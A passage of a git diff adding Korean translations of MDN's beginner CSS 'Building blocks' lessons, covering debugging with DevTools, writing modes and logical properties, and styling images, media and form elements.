You can click the closing curly brace in the rule to start entering a new declaration into it, at which point you can start typing the new property and DevTools will show you an autocomplete list of matching properties. After selecting font-size, enter the value you want to try. You can also click the + button to add an additional rule with the same selector, and add your new rules there.

+ +

The DevTools Panel, adding a new property to the rules, with the autocomplete for font- open

+ +
+

Note: There are other useful features in the Rules view too, for example declarations with invalid values are crossed out. You can find out more at Examine and edit CSS.

+
+ +

Understanding the box model

+ +

In previous lessons we have discussed the Box Model, and the fact that we have an alternate box model that changes how the size of elements are calculated based on the size you give them, plus the padding and borders. DevTools can really help you to understand how the size of an element is being calculated.

+ +

The Layout view shows you a diagram of the box model on the selected element, along with a description of the properties and values that change how the element is laid out. This includes a description of properties that you may not have explicitly used on the element, but which do have initial values set.

+ +

In this panel, one of the detailed properties is the box-sizing property, which controls what box model the element uses.

+ +

Compare the two boxes with classes box1 and box2. They both have the same width applied (400px), however box1 is visually wider. You can see in the layout panel that it is using content-box. This is the value that takes the size you give the element and then adds on the padding and border width.

+ +

The element with a class of box2 is using border-box, so here the padding and border is subtracted from the size that you have given the element. This means that the space taken up on the page by the box is the exact size that you specified — in our case width: 400px.

+ +

The Layout section of the DevTools

+ +
+

Note: Find out more in Examining and Inspecting the Box Model.

+
+ +

Solving specificity issues

+ +

Sometimes during development, but in particular when you need to edit the CSS on an existing site, you will find yourself having a hard time getting some CSS to apply. No matter what you do, the element just doesn't seem to take the CSS. What is generally happening here is that a more specific selector is overriding your changes, and here DevTools will really help you out.

+ +

In our example file there are two words that have been wrapped in an <em> element. One is displaying as orange and the other hotpink. In the CSS we have applied:

+ +
em {
+  color: hotpink;
+  font-weight: bold;
+}
+ +

Above that in the stylesheet however is a rule with a .special selector:

+ +
.special {
+  color: orange;
+}
+ +

As you will recall from the lesson on cascade and inheritance where we discussed specificity, class selectors are more specific than element selectors, and so this is the value that applies. DevTools can help you find such issues, especially if the information is buried somewhere in a huge stylesheet.

+ +

Inspect the <em> with the class of .special and DevTools will show you that orange is the color that applies, and also shows you the color property applied to the em crossed out. You can now see that the class is overriding the element selector.

+ +

Selecting an em and looking at DevTools to see what is over-riding the color.

+ +

Find out more about the Firefox DevTools

+ +

There is a lot of information about the Firefox DevTools here on MDN. Take a look at the main DevTools section, and for more detail on the things we have briefly covered in this lesson see The How To Guides.

+ +

Debugging problems in CSS

+ +

DevTools can be a great help when solving CSS problems, so when you find yourself in a situation where CSS isn't behaving as you expect, how should you go about solving it? The following steps should help.

+ +

Take a step back from the problem

+ +

Any coding problem can be frustrating, especially CSS problems because you often don't get an error message to search for online to help with finding a solution. If you are becoming frustrated, take a step away from the issue for a while — go for a walk, grab a drink, chat to a co-worker, or work on some other thing for a while. Sometimes the solution magically appears when you stop thinking about the problem, and even if not, working on it when feeling refreshed will be much easier.

+ +

Do you have valid HTML and CSS?

+ +

Browsers expect your CSS and HTML to be correctly written, however browsers are also very forgiving and will try their best to display your webpages even if you have errors in the markup or stylesheet. If you have mistakes in your code the browser needs to make a guess at what you meant, and it might make a different decision to what you had in mind. In addition, two different browsers might cope with the problem in two different ways. A good first step therefore is to run your HTML and CSS through a validator, to pick up and fix any errors.

+ + + +

Is the property and value supported by the browser you are testing in?

+ +

Browsers simply ignore CSS they don't understand. If the property or value you are using is not supported by the browser you are testing in then nothing will break, but that CSS won't be applied. DevTools will generally highlight unsupported properties and values in some way. In the screenshot below the browser does not support the subgrid value of {{cssxref("grid-template-columns")}}.

+ +

Image of browser DevTools with the grid-template-columns: subgrid crossed out as the subgrid value is not supported.

+ +

You can also take a look at the Browser compatibility tables at the bottom of each property page on MDN. These show you browser support for that property, often broken down if there is support for some usage of the property and not others. The below table shows the compat data for the {{cssxref("shape-outside")}} property.

+ +

{{compat("css.shape-outside")}}

+ +

Is something else overriding your CSS?

+ +

This is where the information you have learned about specificity will come in very useful. If you have something more specific overriding what you are trying to do, you can enter into a very frustrating game of trying to work out what. However, as described above, DevTools will show you what CSS is applying and you can work out how to make the new selector specific enough to override it.

+ +

Make a reduced test case of the problem

+ +

If the issue isn't solved by the steps above, then you will need to do some more investigating. The best thing to do at this point is to create something known as a reduced test case. Being able to "reduce an issue" is a really useful skill. It will help you find problems in your own code and that of your colleagues, and will also enable you to report bugs and ask for help more effectively.

+ +

A reduced test case is a code example that demonstrates the problem in the simplest possible way, with unrelated surrounding content and styling removed. This will often mean taking the problematic code out of your layout to make a small example which only shows that code or feature.

+ +

To create a reduced test case:

+ +
    +
  1. If your markup is dynamically generated — for example via a CMS — make a static version of the output that shows the problem. A code sharing site like CodePen is useful for hosting reduced test cases, as then they are accessible online and you can easily share them with colleagues. You could start by doing View Source on the page and copying the HTML into CodePen, then grab any relevant CSS and JavaScript and include it too. After that, you can check whether the issue is still evident.
  2. +
  3. If removing the JavaScript does not make the issue go away, don't include the JavaScript. If removing the JavaScript does make the issue go away, then remove as much JavaScript as you can, leaving in whatever causes the issue.
  4. +
  5. Remove any HTML that does not contribute to the issue. Remove components or even main elements of the layout. Again, try to get down to the smallest amount of code that still shows the issue.
  6. +
  7. Remove any CSS that doesn't impact the issue.
  8. +
+ +

In the process of doing this, you may discover what is causing the problem, or at least be able to turn it on and off by removing something specific. It is worth adding some comments to your code as you discover things. If you need to ask for help, they will show the person helping you what you have already tried. This may well give you enough information to be able to search for likely sounding problems and workarounds.

+ +

If you are still struggling to fix the problem then having a reduced test case gives you something to ask for help with, by posting to a forum, or showing to a co-worker. You are much more likely to get help if you can show that you have done the work of reducing the problem and identifying exactly where it happens, before asking for help. A more experienced developer might be able to quickly spot the problem and point you in the right direction, and even if not, your reduced test case will enable them to have a quick look and hopefully be able to offer at least some help.

+ +

In the instance that your problem is actually a bug in a browser, then a reduced test case can also be used to file a bug report with the relevant browser vendor (e.g. on Mozilla's bugzilla site).

+ +

As you become more experienced with CSS, you will find that you get faster at figuring out issues. However even the most experienced of us sometimes find ourselves wondering what on earth is going on. Taking a methodical approach, making a reduced test case, and explaining the issue to someone else will usually result in a fix being found.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}

+ +

In this module

+ +
    +
  1. Cascade and inheritance
  2. +
  3. CSS selectors + +
  4. +
  5. The box model
  6. +
  7. Backgrounds and borders
  8. +
  9. Handling different text directions
  10. +
  11. Overflowing content
  12. +
  13. Values and units
  14. +
  15. Sizing items in CSS
  16. +
  17. Images, media, and form elements
  18. +
  19. Styling tables
  20. +
  21. Debugging CSS
  22. +
  23. Organizing your CSS
  24. +
diff --git a/files/ko/learn/css/building_blocks/handling_different_text_directions/index.html b/files/ko/learn/css/building_blocks/handling_different_text_directions/index.html new file mode 100644 index 0000000000..7282ef5793 --- /dev/null +++ b/files/ko/learn/css/building_blocks/handling_different_text_directions/index.html @@ -0,0 +1,147 @@ +--- +title: 텍스트 표시 방향 제어하기 +slug: Learn/CSS/Building_blocks/Handling_different_text_directions +translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}
+ +

CSS 학습에서 지금까지 경험한 많은 속성과 값은 화면의 크기와 연결되어 있습니다. 예를 들어, 박스의 위, 오른쪽, 아래쪽 및 왼쪽에 테두리를 만듭니다. 이러한 실제 측정 기준은 가로로 표시되는 콘텐츠에 매우 깔끔하게 매핑되며, 기본적으로 웹은 오른쪽에서 왼쪽으로 쓰는 언어 (예: 아랍어) 보다 왼쪽에서 오른쪽으로 쓰는 언어 (예: 영어 또는 프랑스어) 를 더 잘 지원하는 경향이 있습니다.

+ +

그러나 최근 몇 년 동안, CSS 는 오른쪽에서 왼쪽 뿐만 아니라 위에서 아래로 오는 콘텐츠 (예: 일본어) 를 포함하여 다른 내용의 방향성을 더 잘 지원하기 위해 발전했습니다 — 이러한 다른 방향을 쓰기 모드 (writing modes) 라고 합니다. 학습 과정을 진행하고 레이아웃 작업을 시작함에 따라 쓰기 모드에 대한 이해가 도움이 될 것이므로 지금 소개하겠습니다.

+ + + + + + + + + + + + +
전제조건:기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식,  HTML 기본 사항 (HTML 소개 학습) 및 , CSS 작동 방식 이해 (CSS 첫 번째 단계 학습)
목적:최신 CSS 에 대한 쓰기 모드의 중요성을 이해하기.
+ +

쓰기 모드 (writing modes)란 무엇인가?

+ +

CSS 쓰기 모드는 텍스트가 가로 또는 세로로 표시되는지 여부를 나타냅니다. {{cssxref("writing-mode")}} 속성을 사용하면 쓰기 모드에서 다른 쓰기 모드로 전환할 수 있습니다. 이를 위해 세로 쓰기 모드를 사용하는 언어로 작업할 필요는 없습니다 — 창의적 목적으로 레이아웃 일부의 쓰기 모드를 변경할 수도 있습니다.

+ +

아래 예에서는 writing-mode: vertical-rl 를 사용하여 표시되는 제목이 있습니다. 이제 텍스트가 세로로 나타납니다. 세로 텍스트는 그래픽 디자인에서 일반적이며, 웹 디자인에서 보다 흥미로운 모양과 느낌을 추가할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}

+ +

writing-mode 속성에 가능한 세 가지 값은 다음과 같습니다:

+ + + +

따라서 writing-mode 속성은 실제로 페이지에서 블록 수준 요소가 표시되는 방향을 설정합니다 — 위에서 아래로, 오른쪽에서 왼쪽으로 또는 왼쪽에서 오른쪽으로. 그러면 문장의 텍스트 방향이 지시됩니다.

+ +

쓰기 모드 와 블록 및 인라인 레이아웃

+ +

우리는 이미 블록 및 인라인 레이아웃 과 일부는 블록 요소로 표시되고 다른 것은 인라인 요소로 표시된다는 사실에 대해 이미 논의했습니다. 위에서 설명한 것처럼 블록과 인라인은 실제 화면이 아니라 문서의 쓰기 모드와 연결되어 있습니다. 영어와 같이 텍스트를 가로로 표시하는 쓰기 모드를 사용하는 경우 블록은 페이지의 맨 위에서 아래로만 표시됩니다.

+ +

예제를 보면 더 명확해집니다. 이 다음 예제에서는 제목과 단락을 포함하는 두 개의 박스가 있습니다. 첫 번째 쓰기 모드는 페이지 상단에서 하단으로 수평으로 표시되는 writing-mode: horizontal-tb 를 사용합니다. 두 번째 쓰기 모드는 세로로 오른쪽에서 왼쪽으로 표시되는 writing-mode: vertical-rl 를 사용합니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}}

+ +

쓰기 모드를 전환하면, 블록 (block) 방향과 인라인 (inline) 방향을 변경합니다. horizontal-tb 쓰기 모드에서 블록 방향은 위에서 아래로 진행됩니다. vertical-rl 쓰기 모드에서 블록 방향은 오른쪽에서 왼쪽으로 수평으로 표시됩니다. 따라서 블록 크기는 항상 쓰기 모드에서 페이지에 표시되는 방향 블록입니다. 인라인 크기는 항상 문장이 표시되는 방향입니다.

+ +

이 그림은 가로 쓰기 모드에 있을 때 2 차원 모양을 보여줍니다.Showing the block and inline axis for a horizontal writing mode.

+ +

이 그림은 세로 쓰기 모드에서 2 차원 모양을 보여줍니다.

+ +

Showing the block and inline axis for a vertical writing mode.

+ +

CSS 레이아웃, 특히 최신 레이아웃 방법을 살펴보기 시작하면, 블록 및 인라인에 대한 이 아이디어가 매우 중요해 집니다. 나중에 다시 방문하겠습니다.

+ +

방향 (Direction)

+ +

쓰기 모드 외에 텍스트 방향도 있습니다. 위에서 언급한 것처럼, 아랍어와 같은 일부 언어는 가로로 작성되지만, 오른쪽에서 왼쪽으로 작성됩니다. 이것은 창의적 의미에서 사용할 가능성이 있는 것이 아닙니다 — 단순히 오른쪽에 무언가를 정렬하려면 다른 방법이 있습니다 — 그러나 CSS 의 특성의 일부로 이것을 이해하는 것이 중요합니다. 웹은 왼쪽에서 오른쪽으로 표시되는 언어만을 위한 것이 아닙니다!

+ +

쓰기 모드와 텍스트 방향이 변경될 수 있기 때문에, 최신 CSS 레이아웃 방법은 왼쪽과 오른쪽, 위와 아래를 참조하지 않습니다. 대신에 그들은 인라인과 블록이라는 아이디어와 함께 시작  에 대해 이야기할 것입니다. 지금 그것에 대해 너무 걱정하지 말고 레이아웃을 살펴보기 시작할 때, 이러한 아이디어를 명심하십시오. CSS 에 대한 이해에 도움이 될 것입니다.

+ +

논리적 속성 및 값

+ +

그러나 이 시점의 학습에서 쓰기 모드와 방향에 대해 이야기하는 이유는 우리가 이미 화면의 크기와 관련된 많은 속성을 보았고, 수평 쓰기 모드에 있을 때 가장 의미가 있기 때문입니다.

+ +

두 개의 박스를 다시 살펴 보겠습니다 — 하나는 horizontal-tb 쓰기 모드이고 다른 하나는 vertical-rl 입니다. 이 두 박스 모두 {{cssxref("width")}} 를 제공했습니다. 박스가 세로 쓰기 모드일 때 여전히 너비가 있으며, 이로 인해 텍스트가 overflow 되는 것을 알 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}}

+ +

이 시나리오에서 우리가 정말로 원하는 것은 쓰기 모드와 함께 높이와 너비를 본질적으로 바꾸는 것입니다. 세로 쓰기 모드인 경우 박스를 가로 쓰기 모드에서와 같이 블록 크기로 확장하려고 합니다.

+ +

이를 쉽게하기 위해, CSS 는 최근에 매핑된 속성 세트를 개발했습니다. 이것들은 본질적으로 — width 및 height — 와 같은 물리적 속성을 논리적 또는 flow relative 버전으로 대체합니다.

+ +

가로 쓰기 모드인 경우 width 에 매핑된 속성을 {{cssxref("inline-size")}} 라고 합니다 — 인라인의 크기를 나타냅니다. height 의 속성 이름은 {{cssxref("block-size")}} 이며 블록의 크기입니다. width 가 inline-size 로 대체된 아래 예에서 이것이 어떻게 작동하는지 볼 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 1200)}}

+ +

논리적 마진, 테두리 및 패딩 속성

+ +

지난 두 가지 수업에서 CSS 박스 모델과 CSS 테두리에 대해 배웠습니다. 마진, 테두리 및 패딩 속성에는 {{cssxref("margin-top")}}, {{cssxref("padding-left")}} 및 {{cssxref("border-bottom")}} 과 같은 여러 물리적 속성 인스턴스가 있습니다. 너비와 높이에 대한 매핑과 같은 방식으로 이러한 속성에 대한 매핑도 있습니다.

+ +

margin-top 속성은 {{cssxref("margin-block-start")}} 에 매핑됩니다 — 이것은 항상 블록 크기의 시작에서 마진을 나타냅니다.

+ +

{{cssxref("padding-left")}} 속성은 인라인 방향의 시작 부분에 적용되는 패딩 {{cssxref("padding-inline-start")}} 에 매핑됩니다. 이것은 쓰기 모드에서 문장이 시작되는 곳입니다. {{cssxref("border-bottom")}} 속성은 블록 크기의 끝의 경계인 {{cssxref("border-block-end")}} 에 매핑됩니다.

+ +

아래에서 물리적 속성과 논리적 속성을 비교할 수 있습니다.

+ +

.box 의 쓰기 모드 속성을 vertical-rl 로 전환하여 박스의 writing-mode 를 변경하면 물리적 속성이 물리적 방향과 연결되어 있는 반면, 논리적 속성은 쓰기 모드로 전환됩니다.

+ +

또한 {{htmlelement("h2")}} 에 검은색 border-bottom 이 있음을 알 수 있습니다. 아래쪽 테두리가 항상 두 쓰기 모드에서 텍스트 아래로 이동하는 방법을 알아낼 수 있습니까?

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}}

+ +

모든 개별 테두리를 고려할 때 많은 속성이 있으며, 논리 속성 및 값 에 대한 MDN 페이지에서 매핑된 속성을 모두 볼 수 있습니다.

+ +

논리적 값

+ +

지금까지 논리적 속성 이름을 살펴보았습니다. top, right, bottom 및 left 의 물리적 값을 취하는 속성도 있습니다 — 이러한 값에는 block-start, inline-end, block-end 및 inline-start 과 같은 논리값에 대한 매핑도 있습니다.

+ +

예를 들어, 이미지를 왼쪽으로 띄워서 텍스트가 이미지를 감싸도록 할 수 있습니다. 아래 예와 같이 left 을 inline-start 으로 바꿀 수 있습니다.

+ +

이 예제에서 쓰기 모드를 vertical-rl 로 변경하여 이미지에 어떤 일이 발생하는지 확인하십시오. float 를 변경하려면 inline-start 를 inline-end 로 변경하십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 1200)}}

+ +

여기에서는 쓰기 모드가 무엇이든 상관없이 논리 마진값을 사용하여 마진이 올바른 위치에 있는지 확인합니다.

+ +

물리적 또는 논리적 속성을 사용해야 합니까?

+ +

논리적 속성과 값은 물리적 속성보다 최신이므로, 브라우저에서만 최근에 구현되었습니다. 브라우저 지원이 얼마나 돌아가는지 보려면, MDN 의 속성 페이지를 확인할 수 있습니다. 여러 쓰기 모드를 사용하지 않는 경우, 지금은 실제 버전을 사용하는 것이 좋습니다. 그러나 궁극적으로 사람들은 flexbox 및 grid 와 같은 레이아웃 방법을 다루기 시작하면, 많은 의미가 있기 때문에 사람들이 대부분의 경우 논리적 버전으로 전환할 것으로 기대합니다.

+ +

요약

+ +

이 학습에서 설명  개념은 CSS 에서 점점 중요해지고 있습니다. 블록과 인라인 방향에 대한 이해와 쓰기 모드의 변화에 따른 텍스트 방향의 변화는 앞으로 매우 유용할 것입니다. 가로 이외의 쓰기 모드를 사용하지 않아도 CSS 를 이해하는 데 도움이 됩니다.

+ +

다음 학습에서는 CSS 의 overflow 를 자세히 살펴볼 것입니다.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}

+ +

이번 단원에서는

+ +
    +
  1. 계단식 및 상속
  2. +
  3. CSS 선택자 + +
  4. +
  5. 박스 모델
  6. +
  7. 배경 및 테두리
  8. +
  9. 다른 텍스트 방향 처리
  10. +
  11. 콘텐츠 overflow
  12. +
  13. 값 과 단위
  14. +
  15. CSS 에서 항목 크기 조정
  16. +
  17. 이미지, 미디어 및 양식 요소
  18. +
  19. 표 스타일링
  20. +
  21. CSS 디버깅
  22. +
  23. CSS 정리
  24. +
diff --git a/files/ko/learn/css/building_blocks/images_media_form_elements/index.html b/files/ko/learn/css/building_blocks/images_media_form_elements/index.html new file mode 100644 index 0000000000..10945b103d --- /dev/null +++ b/files/ko/learn/css/building_blocks/images_media_form_elements/index.html @@ -0,0 +1,195 @@ +--- +title: '이미지, 미디어 및 양식 요소nts' +slug: Learn/CSS/Building_blocks/Images_media_form_elements +translation_of: Learn/CSS/Building_blocks/Images_media_form_elements +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}
+ +

In this lesson we will take a look at how certain special elements are treated in CSS. Images, other media, and form elements behave a little differently in terms of your ability to style them with CSS than regular boxes. Understanding what is and isn't possible can save some frustration, and this lesson will highlight some of the main things that you need to know.

+ + + + + + + + + + + + +
전제조건: +

기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식,  HTML 기본 사항 (HTML 소개 학습) 및 , CSS 작동 방식 이해 (CSS 첫 번째 단계 학습)

+
목적:CSS 로 스타일을 지정할 때 일부 요소가 비정상적으로 동작하는 방식을 이해하기.
+ +

대체 (Replaced) 요소

+ +

이미지와 비디오는 대체 요소 로 설명됩니다. 즉, CSS 는 이러한 요소의 내부 레이아웃에 영향을 줄 수 없으며 — 다른 요소중에서 페이지의 위치에만 영향을 줍니다. 그러나 우리가 볼 수 있듯이 CSS 는 이미지로 할 수 있는 다양한 일들이 있습니다.

+ +

이미지 및 비디오와 같은 특정 대체 요소도 종횡비 (aspect ratio) 를 갖는 것으로 설명됩니다. 이는 가로 (x) 및 세로 (y) 크기를 가지며, 기본적으로 파일의 고유 크기를 사용하여 표시됨을 의미합니다.

+ +

이미지 크기 조정

+ +

이 수업을 수행하여 이미 알고 있듯이 CSS 의 모든 것은 박스를 생성합니다. 이미지 파일의 고유 크기보다 작거나 큰 박스 안에 이미지를 배치하면, 박스보다 작게 나타나거나 박스가 overflow 됩니다. overflow 로 인해 발생하는 일에 대해 결정해야 합니다.

+ +

아래 예에서는 크기가 200 픽셀인 두 개의 박스가 있습니다:

+ + + +

{{EmbedGHLiveSample("css-examples/learn/images/size.html", '100%', 1000)}}

+ +

overflow 문제에 대해 우리는 무엇을 할 수 있습니까?

+ +

이전 수업 에서 배운 것처럼 일반적인 기술은 이미지의 {{cssxref("max-width")}} 를 100% 로 만드는 것입니다. 이렇게하면 이미지가 박스보다 작지만 커질 수 없습니다. 이 기술은 <video> 또는 <iframe> 과 같은 다른 대체 요소와 함께 작동합니다.

+ +

위 예에서 <img> 요소에 max-width: 100% 를 추가하십시오. 작은 이미지는 변경되지 않지만, 큰 이미지는 박스에 맞게 작아집니다.

+ +

container 내부의 이미지에 대해 다른 선택을 할 수 있습니다. 예를 들어, 박스 크기를 완전히 덮을 수 있도록 이미지 크기를 조정할 수 있습니다.

+ +

{{cssxref("object-fit")}} 속성이 도움이 될 수 있습니다. object-fit 를 사용할 때 대체 요소의 크기를 다양한 방식으로 박스에 맞게 조정할 수 있습니다.

+ +

아래에서는 값 cover 를 사용하여 이미지의 크기를 줄이며, 화면 비율을 유지하여 박스를 깔끔하게 채웁니다. 종회비가 유지되면 이미지의 일부가 박스에 의해 잘립니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/images/object-fit.html", '100%', 1000)}}

+ +

contain 을 값으로 사용하면 이미지가 박스 안에 들어갈만큼 작아질 때까지 이미지가 축소됩니다. 박스와 종횡비가 다르면 "letterbox" 가 됩니다.

+ +

박스를 채우지만 종횡비는 유지하지 않는 fill 값을 사용해 볼 수도 있습니다.

+ +

대체 요소 레이아웃

+ +

대체 요소에 다양한 CSS 레이아웃 기술을 사용하면, 다른 요소와 약간 다르게 동작할 수 있습니다. 예를 들어, flex 또는 grid 레이아웃에서 요소는 기본적으로 전체 영역을 채우기 위해 확장됩니다. 이미지가 늘어나지 않고 grid 영역 또는 flex container 의 시작 부분에 맞춰 정렬됩니다.

+ +

아래 예에서 두 개의 열, 두 개의 행 grid container 가 있으며, 여기에는 네 개의 항목이 있습니다. 모든 <div> 요소는 배경색을 가지며 행과 열을 채우기 위해 확장됩니다. 그러나, 이미지가 늘어나지 않습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/images/layout.html", '100%', 1000)}}

+ +

이 수업을 순서대로 따르는 경우 레이아웃을 아직 보지 않았을 수 있습니다. 대체 요소는 grid 또는 flex 레이아웃의 일부가 될 때, 기본 동작이 서로 다르다는 점을 유념해 주십시오. 기본적으로 배치로 인해 이상하게 늘어나지 않도록 하기 위해서입니다.

+ +

grid 셀을 채우도록 이미지를 늘리려면, 다음과 같은 작업을 수행해야 합니다:

+ +
img {
+  width: 100%;
+  height: 100%;
+}
+ +

그러나 이것은 이미지를 늘릴 것이기 때문에, 아마 당신이 하고 싶지 않을 것입니다.

+ +

양식 (Form) 요소

+ +

CSS 로 스타일링 할 때, 양식 요소는 까다로운 문제가 될 수 있으며 웹 양식 모듈 에는 약식 요소의 까다로운 측면에 대한 자세한 안내서가 포함되어 있습니다. 이 기사에서 강조할 가치가 있는 몇 가지 기본 사항이 있습니다.

+ +

<input> 요소를 통해 많은 양식 컨트롤이 페이지에 추가됩니다 — 텍스트 입력과 같은 간단한 양식 필드를 정의하고 색상 및 날짜 선택자와 같은 HTML5 에 추가된 보다 복잡한 필드를 통해 정의합니다. 여러줄로 된 텍스트 입력을 위한 <textarea> 와 같은 일부 추가 요소와 <fieldset> 및 <legend> 와 같은 양식의 일부를 포함하고 레이블을 지정하는 데 사용되는 요소가 있습니다.

+ +

HTML5 에는 또한 웹 개발자가 어떤 필드가 필요한지, 심지어 입력해야하는 콘텐츠 유형을 표시할 수 있는 속성이 포함되어 있습니다. 사용자가 예기치 않은 것을 입력하거나 필수 필드를 비워두면, 브라우저에 오류 메시지가 표시될 수 있습니다. 다른 브라우저는 이러한 항목에 대해 얼마나 많은 스타일과 사용자 정의가 허용되는지에 일관성이 없습니다.

+ +

텍스트 입력 요소 스타일링

+ +

<input type="text"> 와 같은 텍스트 입력을 허용하는 요소, <input type="email">, 과 같은 특정 유형 및 <textarea> 요소는 스타일이 매우 쉽고 다른 박스처럼 동작하는 경향이 있습니다. 귀하의 페이지에 이러한 요소의 기본 스타일은 사용자가 사이트를 방문하는 운영체제 및 브라우저에 따라 다릅니다.

+ +

아래 예에서는 CSS 를 사용하여 일부 텍스트 입력의 스타일을 지정했습니다 — 테두리, 마진 및 패딩과 같은 항목이 모두 예상대로 적용되는 것을 볼 수 있습니다. 속성 선택자를 사용하여 다양한 입력 유형을 대상으로 하고 있습니다. 테두리를 조정하고, 필드에 배경색을 추가하고, 글꼴 및 패딩을 변경하여 이 양식의 모양을 변경하십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/images/form.html", '100%', 1000)}}

+ +
+

중요: 양식 요소의 스타일을 변경할 때 양식 요소임을 사용자에게 확실히 알 수 있도록 주의해야 합니다. 테두리와 배경이 없는 양식 입력을 작성할 수 있습니다. 이 입력 양식은 주변 내용과 거의 구분할 수 없습니다. 이로 인해 인식하고 채우기가 매우 어려워집니다.

+
+ +

이 과정의 HTML 부분에서 양식 스타일 에 대한 강의에서 설명한대로, 보다 복잡한 입력 유형 중 많은 부분이 운영체제에서 렌더링되며 스타일에 액세스할 수 없습니다. 따라서 항상 방문자마다 양식이 크게 달라지고 여러 브라우저에서 복잡한 양식을 테스트한다고 가정해야합니다.

+ +

상속 과 양식 요소

+ +

일부 브라우저에서 양식 요소는 기본적으로 글꼴 스타일을 상속하지 않습니다. 따라서 양식 필드가 본문 또는 상위 요소에 정의된 글꼴을 사용하도록 하려면, 이 규칙을 CSS 에 추가해야 합니다.

+ +
button,
+input,
+select,
+textarea {
+  font-family : inherit;
+  font-size : 100%;
+} 
+ +

양식 요소 및 박스 크기 조정

+ +

여러 브라우저 양식 요소는 서로 다른 위젯에 다른 박스 크기 조정 규칙을 사용합니다. 박스 모델 학습 에서 box-sizing 속성에 대해 학습했으며 양식을 스타일링할 때 이 지식을 사용하여 양식 요소에서 너비와 높이를 설정할 때 일관된 경험을 보장할 수 있습니다.

+ +

일관성을 유지하려면 모든 요소에서 마진과 패딩을 0 으로 설정한 다음 특정 컨트롤을 스타일링할 때 다시 마진을 추가하는 것이 좋습니다.

+ +
button,
+input,
+select,
+textarea {
+  box-sizing: border-box;
+  padding: 0;
+  margin: 0;
+}
+ +

다른 유용한 설정

+ +

위에서 언급한 규칙 외에도 <textarea> 에서 overflow: auto 를 설정하여 스크롤 막대가 필요하지 않은 경우 IE 에 스크롤 막대가 표시되지 않도록 설정해야 합니다:

+ +
textarea {
+  overflow: auto;
+}
+ +

모든 것을 "재설정" 으로 통합

+ +

마지막 단계로, 위에서 설명한 다양한 속성을 다음 "양식 재설정" 으로 마무리하여 일관된 작업 기반을 제공할 수 있습니다. 여기에는 마지막 세 섹션에서 언급한 모든 항목이 포함됩니다:

+ +
button,
+input,
+select,
+textarea {
+  font-family: inherit;
+  font-size: 100%;
+  box-sizing: border-box;
+  padding: 0; margin: 0;
+}
+
+textarea {
+  overflow: auto;
+} 
+ +
+

참고: Normalizing 스타일 시트는 많은 개발자가 모든 프로젝트에 사용할 일련의 기본 스타일을 작성하는 데 사용됩니다. 일반적으로 이것들은 위에서 설명한 것과 비슷한 기능을 수행하므로, CSS 에 대한 작업을 수행하기 전에 브라우저마다 다른것이 일관된 기본값으로 설정되어 있는지 확인하십시오. 브라우저는 일반적으로 과거보다 일관성이 높기 때문에, 예전만큼 중요하지 않습니다. 그러나 하나의 예를 살펴보려면 많은 프로젝트에서 기본으로 사용되는 매우 인기있는 스타일 시트인 Normalize.css 를 확인하십시오.

+
+ +

스타일링 양식에 대한 자세한 내용은 이 안내의 HTML 섹션에 있는 두 기사를 살펴보십시오.

+ + + +

요약

+ +

이 수업에서는 CSS 에서 이미지, 미디어 및 기타 특이한 요소로 작업할 때 발생할 수 있는 몇 가지 차이점을 강조했습니다. 다음 기사에서는 HTML 표의 스타일을 지정해야할 때 유용한 몇 가지 팁을 살펴보겠습니다.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}

+ +

이번 강의에서는

+ +
    +
  1. 계단식 및 상속
  2. +
  3. CSS 선택자 + +
  4. +
  5. 박스 모델
  6. +
  7. 배경 및 테두리
  8. +
  9. 다른 텍스트 방향 처리
  10. +
  11. 콘텐츠 overflow
  12. +
  13. 값 과 단위
  14. +
  15. CSS 에서 항목 크기 조정
  16. +
  17. 이미지, 미디어 및 양식 요소
  18. +
  19. 표 스타일링
  20. +
  21. CSS 디버깅
  22. +
  23. CSS 정리
  24. +
diff --git a/files/ko/learn/css/building_blocks/index.html b/files/ko/learn/css/building_blocks/index.html new file mode 100644 index 0000000000..aa2d21c448 --- /dev/null +++ b/files/ko/learn/css/building_blocks/index.html @@ -0,0 +1,90 @@ +--- +title: CSS 구성 블록 +slug: Learn/CSS/Building_blocks +tags: + - Beginner + - CSS + - Learn + - NeedsTranslation + - TopicStub + - building blocks +translation_of: Learn/CSS/Building_blocks +--- +
{{LearnSidebar}}
+ +

이 강의에서는 CSS 첫 번째 단계 가 중단된 부분을 처리합니다 — 이제 언어와 구문에 익숙해졌으며, 약간 더 깊이 익힐 때가 되었을 때, 이를 사용하는 기본적인 경험을 얻었습니다. 이 과목에서는 계단식 및 상속, 사용 가능한 모든 선택자 유형, 단위 크기 조정, 배경 및 테두리 스타일 지정, 디버깅 등을 살펴 봅니다.

+ +

